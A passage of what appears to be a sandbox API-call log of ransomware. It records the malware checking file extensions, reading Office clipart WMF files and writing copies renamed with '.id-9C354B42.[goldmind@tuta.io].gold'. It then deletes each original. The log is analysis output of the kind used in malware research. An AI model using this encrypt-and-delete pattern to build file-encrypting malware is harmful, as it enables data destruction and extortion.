(lpString=".pdf") returned 4 [0096.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.669] lstrlenW (lpString=".xls") returned 4 [0096.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.669] lstrlenW (lpString=".xlsx") returned 5 [0096.670] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.670] lstrlenW (lpString=".ppt") returned 4 [0096.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0096.670] lstrlenW (lpString=".zip") returned 4 [0096.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.670] lstrlenW (lpString=".rar") returned 4 [0096.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.670] lstrlenW (lpString=".bz2") returned 4 [0096.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.670] lstrlenW (lpString=".7z") returned 3 [0096.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0096.670] lstrlenW (lpString=".dbf") returned 4 [0096.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0096.670] lstrlenW (lpString=".1cd") returned 4 [0096.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0096.670] lstrlenW (lpString=".jpg") returned 4 [0096.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0096.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0096.670] lstrlenW (lpString=".doc") returned 4 [0096.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.670] lstrlenW (lpString=".docx") returned 5 [0096.670] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.670] lstrlenW (lpString=".pdf") returned 4 [0096.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.670] lstrlenW (lpString=".xls") returned 4 [0096.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.670] lstrlenW (lpString=".xlsx") returned 5 [0096.670] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.670] lstrlenW (lpString=".ppt") returned 4 [0096.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0096.670] lstrlenW (lpString=".zip") returned 4 [0096.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.670] lstrlenW (lpString=".rar") returned 4 [0096.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.670] lstrlenW (lpString=".bz2") returned 4 [0096.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.670] lstrlenW (lpString=".7z") returned 3 [0096.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0096.670] lstrlenW (lpString=".dbf") returned 4 [0096.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0096.670] lstrlenW (lpString=".1cd") returned 4 [0096.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0096.670] lstrlenW (lpString=".jpg") returned 4 [0096.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.671] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.671] lstrlenW (lpString="FD02088_.WMF") returned 12 [0096.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.671] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3696) returned 1 [0096.671] CloseHandle (hObject=0x33c) returned 1 [0096.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x20 [0096.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.672] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.672] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.672] GetLastError () returned 0x0 [0096.672] ReadFile (in: hFile=0x33c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xe70, lpOverlapped=0x0) returned 1 [0096.684] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe80, lpOverlapped=0x0) returned 1 [0096.685] ReadFile (in: hFile=0x33c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.685] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.685] SetEndOfFile (hFile=0x3c4) returned 1 [0096.685] CloseHandle (hObject=0x3c4) returned 1 [0096.685] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.685] SetEndOfFile (hFile=0x33c) returned 1 [0096.687] CloseHandle (hObject=0x33c) returned 1 [0096.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf")) returned 1 [0096.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0096.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0096.688] lstrlenW (lpString=".doc") returned 4 [0096.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.688] lstrlenW (lpString=".docx") returned 5 [0096.688] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.688] lstrlenW (lpString=".pdf") returned 4 [0096.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.688] lstrlenW (lpString=".xls") returned 4 [0096.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.688] lstrlenW (lpString=".xlsx") returned 5 [0096.688] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.688] lstrlenW (lpString=".ppt") returned 4 [0096.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0096.688] lstrlenW (lpString=".zip") returned 4 [0096.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.688] lstrlenW (lpString=".rar") returned 4 [0096.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.688] lstrlenW (lpString=".bz2") returned 4 [0096.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.688] lstrlenW (lpString=".7z") returned 3 [0096.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0096.688] lstrlenW (lpString=".dbf") returned 4 [0096.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0096.688] lstrlenW (lpString=".1cd") returned 4 [0096.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0096.688] lstrlenW (lpString=".jpg") returned 4 [0096.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0096.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0096.688] lstrlenW (lpString=".doc") returned 4 [0096.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.688] lstrlenW (lpString=".docx") returned 5 [0096.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.689] lstrlenW (lpString=".pdf") returned 4 [0096.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.689] lstrlenW (lpString=".xls") returned 4 [0096.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.689] lstrlenW (lpString=".xlsx") returned 5 [0096.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.689] lstrlenW (lpString=".ppt") returned 4 [0096.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0096.689] lstrlenW (lpString=".zip") returned 4 [0096.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.689] lstrlenW (lpString=".rar") returned 4 [0096.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.689] lstrlenW (lpString=".bz2") returned 4 [0096.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.689] lstrlenW (lpString=".7z") returned 3 [0096.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0096.689] lstrlenW (lpString=".dbf") returned 4 [0096.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0096.689] lstrlenW (lpString=".1cd") returned 4 [0096.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0096.689] lstrlenW (lpString=".jpg") returned 4 [0096.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.689] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.689] lstrlenW (lpString="FD02097_.WMF") returned 12 [0096.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.690] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1564) returned 1 [0096.690] CloseHandle (hObject=0x33c) returned 1 [0096.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x20 [0096.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.690] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.690] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.691] GetLastError () returned 0x0 [0096.691] ReadFile (in: hFile=0x33c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x61c, lpOverlapped=0x0) returned 1 [0096.852] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x620, lpOverlapped=0x0) returned 1 [0096.853] ReadFile (in: hFile=0x33c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.853] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.853] SetEndOfFile (hFile=0x3c4) returned 1 [0096.853] CloseHandle (hObject=0x3c4) returned 1 [0096.853] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.853] SetEndOfFile (hFile=0x33c) returned 1 [0096.855] CloseHandle (hObject=0x33c) returned 1 [0096.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf")) returned 1 [0096.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0096.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0096.866] lstrlenW (lpString=".doc") returned 4 [0096.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.866] lstrlenW (lpString=".docx") returned 5 [0096.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.866] lstrlenW (lpString=".pdf") returned 4 [0096.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.866] lstrlenW (lpString=".xls") returned 4 [0096.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.866] lstrlenW (lpString=".xlsx") returned 5 [0096.866] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.866] lstrlenW (lpString=".ppt") returned 4 [0096.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0096.866] lstrlenW (lpString=".zip") returned 4 [0096.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.866] lstrlenW (lpString=".rar") returned 4 [0096.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.866] lstrlenW (lpString=".bz2") returned 4 [0096.866] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.866] lstrlenW (lpString=".7z") returned 3 [0096.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0096.866] lstrlenW (lpString=".dbf") returned 4 [0096.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0096.866] lstrlenW (lpString=".1cd") returned 4 [0096.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0096.866] lstrlenW (lpString=".jpg") returned 4 [0096.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0096.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0096.866] lstrlenW (lpString=".doc") returned 4 [0096.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.866] lstrlenW (lpString=".docx") returned 5 [0096.867] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.867] lstrlenW (lpString=".pdf") returned 4 [0096.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.867] lstrlenW (lpString=".xls") returned 4 [0096.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.867] lstrlenW (lpString=".xlsx") returned 5 [0096.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.867] lstrlenW (lpString=".ppt") returned 4 [0096.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0096.867] lstrlenW (lpString=".zip") returned 4 [0096.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.867] lstrlenW (lpString=".rar") returned 4 [0096.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.867] lstrlenW (lpString=".bz2") returned 4 [0096.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.867] lstrlenW (lpString=".7z") returned 3 [0096.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0096.867] lstrlenW (lpString=".dbf") returned 4 [0096.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0096.867] lstrlenW (lpString=".1cd") returned 4 [0096.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0096.867] lstrlenW (lpString=".jpg") returned 4 [0096.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.867] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.867] lstrlenW (lpString="FD02158_.WMF") returned 12 [0096.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0096.868] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1648) returned 1 [0096.868] CloseHandle (hObject=0x3c0) returned 1 [0096.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x20 [0096.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0096.868] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.868] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0096.869] GetLastError () returned 0x0 [0096.869] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x670, lpOverlapped=0x0) returned 1 [0096.880] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x680, lpOverlapped=0x0) returned 1 [0096.881] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.881] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.881] SetEndOfFile (hFile=0x3a8) returned 1 [0096.881] CloseHandle (hObject=0x3a8) returned 1 [0096.881] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.881] SetEndOfFile (hFile=0x3c0) returned 1 [0096.883] CloseHandle (hObject=0x3c0) returned 1 [0096.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf")) returned 1 [0096.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0096.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0096.883] lstrlenW (lpString=".doc") returned 4 [0096.883] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.884] lstrlenW (lpString=".docx") returned 5 [0096.884] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.884] lstrlenW (lpString=".pdf") returned 4 [0096.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.884] lstrlenW (lpString=".xls") returned 4 [0096.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.884] lstrlenW (lpString=".xlsx") returned 5 [0096.884] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.884] lstrlenW (lpString=".ppt") returned 4 [0096.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0096.884] lstrlenW (lpString=".zip") returned 4 [0096.884] 